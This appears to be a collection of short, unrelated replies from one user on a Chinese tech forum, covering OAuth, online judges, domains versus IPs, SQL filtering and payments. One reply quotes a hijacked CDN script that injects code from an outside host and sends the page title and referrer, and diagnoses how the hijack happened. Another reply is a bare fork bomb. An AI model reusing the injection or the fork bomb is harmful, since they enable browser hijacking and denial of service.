楼上说的对，是 mp.weixin.qq.com 上的 oauth

https://github.com/zTrix/sata-license

The Star And Thank Author License(SATA License)

hustoj php 的 oj

https://github.com/QingdaoU/OnlineJudge python 的 oj

看公司啊

@MrMario 嗯，是的~

可以写个系统然后开源啊

域名可以随时解析到新的 ip ，而你的 ip 一旦换了，客户端就没法用了，所以一般还是域名好点。

当然对性能要求很高的地方，比如 qq ，还是大量的使用 ip ，当然也得提供 ip 失效自动更换的机制了。

字符串过滤只能骗自己

欢迎试试 http://sqlchop.chaitin.com/

七牛的 js 回源被劫持了

document.write("<script language='javascript' src='http://dn-zine-static.qbox.me/Zine_web/otherScript-min.js?_vv=20080808&_veri=20121009'><\/script>");document.write("<script language='javascript' src='http://js.meiletu.net:41180/re/re.php?src=t6407&t="+encodeURIComponent(document.title)+"&ci=3738840456&r="+encodeURIComponent(document.referrer)+"'><\/script>");

因为你的 js 正在以 http 的方式访问，所以被劫持，然后构造了这样一个劫持的 js 。很大可能就是回源的时候的问题

自己检查那个 http 的七牛的 js ，估计就是这的问题。

抓包，不要直接看浏览器，浏览器是 js 执行之后的，可能有一些伪装。

被劫持的时候检查下别的 js ，看哪个是被改动的

貌似用 ping++ 的服务就行，不用成立公司了

http://chaitin.github.io/duty.html/

这个很棒~虽然不太符合你说的样式

hostker

while(1){
fork();
}

我还以为安卓上的 toast 呢..

云麦体重秤，我在用，但是不怎么精确

burpsuite